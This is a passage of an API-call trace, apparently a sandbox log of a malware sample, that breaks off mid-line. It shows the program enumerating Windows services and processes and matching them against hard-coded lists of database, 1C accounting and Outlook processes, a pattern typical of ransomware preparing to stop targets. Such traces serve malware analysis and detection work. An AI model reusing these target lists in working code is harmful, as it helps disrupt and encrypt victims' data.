(lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.208] lstrlenW (lpString="AudioSrv") returned 8 [0172.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0172.209] lstrlenW (lpString="BFE") returned 3 [0172.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.209] lstrlenW (lpString="CryptSvc") returned 8 [0172.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.209] lstrlenW (lpString="CscService") returned 10 [0172.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0172.209] lstrlenW (lpString="DcomLaunch") returned 10 [0172.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.209] lstrlenW (lpString="Dhcp") returned 4 [0172.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.210] lstrlenW (lpString="Dnscache") returned 8 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.210] lstrlenW (lpString="DPS") returned 3 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.210] lstrlenW (lpString="eventlog") returned 8 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0172.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0172.210] lstrlenW (lpString="EventSystem") returned 11 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.210] lstrlenW (lpString="gpsvc") returned 5 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.210] lstrlenW (lpString="iphlpsvc") returned 8 [0172.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.211] lstrlenW (lpString="LanmanServer") returned 12 [0172.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.211] lstrlenW (lpString="lmhosts") returned 7 [0172.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.212] lstrlenW (lpString="MMCSS") returned 5 [0172.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0172.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0172.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0172.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0172.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0172.212] lstrlenW (lpString="MpsSvc") returned 6 [0172.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.212] lstrlenW (lpString="Netman") returned 6 [0172.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0172.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0172.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0172.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0172.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0172.212] lstrlenW (lpString="netprofm") returned 8 [0172.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.212] lstrlenW (lpString="NlaSvc") returned 6 [0172.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.213] lstrlenW (lpString="nsi") returned 3 [0172.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.213] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.213] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.213] lstrlenW (lpString="PcaSvc") returned 6 [0172.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.213] lstrlenW (lpString="PlugPlay") returned 8 [0172.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.213] lstrlenW (lpString="Power") returned 5 [0172.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.213] lstrlenW (lpString="ProfSvc") returned 7 [0172.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.214] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.214] lstrlenW (lpString="RpcSs") returned 5 [0172.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.214] lstrlenW (lpString="SamSs") returned 5 [0172.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.214] lstrlenW (lpString="Schedule") returned 8 [0172.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.214] lstrlenW (lpString="SENS") returned 4 [0172.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.215] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.215] lstrlenW (lpString="Spooler") returned 7 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.215] lstrlenW (lpString="SysMain") returned 7 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.215] lstrlenW (lpString="Themes") returned 6 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0172.215] lstrlenW (lpString="TrkWks") returned 6 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0172.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0172.215] lstrlenW (lpString="UxSms") returned 5 [0172.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0172.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0172.215] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0172.215] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0172.216] lstrlenW (lpString="WdiServiceHost") returned 14 [0172.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0172.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0172.216] lstrlenW (lpString="WdiSystemHost") returned 13 [0172.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0172.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0172.216] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0172.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0172.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0172.216] lstrlenW (lpString="Winmgmt") returned 7 [0172.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0172.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0172.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0172.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0172.216] lstrlenW (lpString="WPDBusEnum") returned 10 [0172.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0172.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0172.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0172.216] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e92e0 | out: hHeap=0x4b0000) returned 1 [0172.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0172.219] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.219] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.220] lstrlenW (lpString="System") returned 6 [0172.220] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0172.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0172.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.220] lstrlenW (lpString="smss.exe") returned 8 [0172.220] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0172.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0172.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.221] lstrlenW (lpString="csrss.exe") returned 9 [0172.221] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.221] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.221] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0172.221] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.221] lstrlenW (lpString="wininit.exe") returned 11 [0172.221] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0172.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0172.221] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0172.221] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0172.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0172.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0172.222] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0172.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.222] lstrlenW (lpString="csrss.exe") returned 9 [0172.222] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.222] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.222] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.223] lstrlenW (lpString="winlogon.exe") returned 12 [0172.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.223] lstrlenW (lpString="services.exe") returned 12 [0172.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.223] lstrlenW (lpString="lsass.exe") returned 9 [0172.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.224] lstrlenW (lpString="lsm.exe") returned 7 [0172.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.224] lstrlenW (lpString="svchost.exe") returned 11 [0172.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, 